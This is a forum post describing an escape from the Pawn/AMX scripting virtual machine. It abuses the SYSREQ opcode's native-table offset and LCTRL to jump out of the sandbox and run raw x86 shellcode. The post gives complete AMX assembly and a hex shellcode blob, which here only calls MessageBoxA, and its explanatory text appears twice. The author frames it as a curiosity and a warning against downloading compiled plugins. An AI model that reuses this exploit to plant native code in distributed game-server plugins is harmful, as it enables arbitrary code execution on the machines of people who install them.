Executing x86 assembly from amx script
Posted: Mon Sep 28, 2026 12:31 pm
Ok, let's say you want to execute some real assembly instead of pawn assembly using AMX virtual machine.
I had this idea for a long time, but didn't have enough dedication to take a good look at it. But one day I was quite bored so I dived into Pawn/AMX virtual machine documentation. And I found the security bug I was looking for. Or is it a feature? SYSREQ opcode allows you to jump to ANY address (not only the ones from natives table) outside the VM.
All you need to do is to mess with sysreq's argument. It's argument is an offset in natives table. We can increase this offset, so it points to some our variable. In this variable we have an address where we want to jump to.
I think global variable is the best for this purpose. We can easily get it's relative position from the beginning of the script (using LCTRL and a few tricks). Now we can subtract position of natives table and we get distance from natives table to our variable. But we can't use it as an offset yet. Sysreq's offsets are divided by 8, because of alignment into 8byte blocks. So we divide our offset by 8 too and we can use it now. We have to do just one more trick - we have to use two global variables, because data block isn't aligned into 8byte grid.
Now we have to store some address in that variables that will point to our shellcode. Shellcode will be just global array of cells. How to get it's absolute address in memory? I'll use another security bug/feature to get it. I'll just call LCTRL (with arg 1), which will give me absolute address of data block. Now I just add offset of my array and I have an address pointing at my shellcode. Store it in that first two global vars and we're done.
AMX ASM:
Example of x86 shellcode. It's system and hlds-version depended, so it won't probably work. It is just a simple call of MessageBoxA.
A few notes:
> It gives you one more reason not to download compiled amxx files
> It shoud work with all architectures, not only x86 (of course, you have to write assembly for your architecture)
> It is probably useless
I had this idea for a long time, but didn't have enough dedication to take a good look at it. But one day I was quite bored so I dived into Pawn/AMX virtual machine documentation. And I found the security bug I was looking for. Or is it a feature? SYSREQ opcode allows you to jump to ANY address (not only the ones from natives table) outside the VM.
All you need to do is to mess with sysreq's argument. It's argument is an offset in natives table. We can increase this offset, so it points to some our variable. In this variable we have an address where we want to jump to.
I think global variable is the best for this purpose. We can easily get it's relative position from the beginning of the script (using LCTRL and a few tricks). Now we can subtract position of natives table and we get distance from natives table to our variable. But we can't use it as an offset yet. Sysreq's offsets are divided by 8, because of alignment into 8byte blocks. So we divide our offset by 8 too and we can use it now. We have to do just one more trick - we have to use two global variables, because data block isn't aligned into 8byte grid.
Now we have to store some address in that variables that will point to our shellcode. Shellcode will be just global array of cells. How to get it's absolute address in memory? I'll use another security bug/feature to get it. I'll just call LCTRL (with arg 1), which will give me absolute address of data block. Now I just add offset of my array and I have an address pointing at my shellcode. Store it in that first two global vars and we're done.
AMX ASM:
Code: Select all
.CODE
halt 0
.NATIVE
.DATA
;two global variables for storing shellcode's address
X86ASM_ADDR stat 2
;array of cells containing shellcode, initially filled with INT3-s
;I don't put my shellcode directly into asm file, because of VM's reversed endianity
;I fill in my shellcode later directly into amx file
X86ASM_CODE stat 25 fill 0xCCCCCCCC
.CODE
PROC plugin_init
;get address of data block
lctrl 1
;skip these two global vars
const.alt CELL*2
add
;save the address into vars
stor.pri X86ASM_ADDR
stor.pri X86ASM_ADDR+CELL
;restore original adress
sub
;dirty hack to get script's base address
move.alt
shr.c.pri 0x12
shl.c.pri 0x12
;get offset of data block
sub.alt
;subtract magic numbers
const.alt 0x40 - 0x7 ;natives offset minus size of padding plus one
sub
;divide by 8
const.alt 0x8
udiv
;call sysreq
sysreq.pri
;cleanup and exit
zero.pri
retn
ENDP
.PUBLIC
plugin_initCode: Select all
6A 40 E8 0A 00 00 00 54 65 73 74 00 90 90 90 90 90 E8 45 00 00 00 4A 75 73 74 20 74 65 73 74 69 6E 67 20 65 78 65 63 75 74 69 6F 6E 20 6F 66 20 78 38 36 20 73 68 65 6C 6C 63 6F 64 65 20 64 69 72 65 63 74 6C 79 20 66 72 6F 6D 20 61 6D 78 20 73 63 72 69 70 74 2E 20 3A 29 00 6A 00 FF 15 14 E2 44 01 C3> It gives you one more reason not to download compiled amxx files
> It shoud work with all architectures, not only x86 (of course, you have to write assembly for your architecture)
> It is probably useless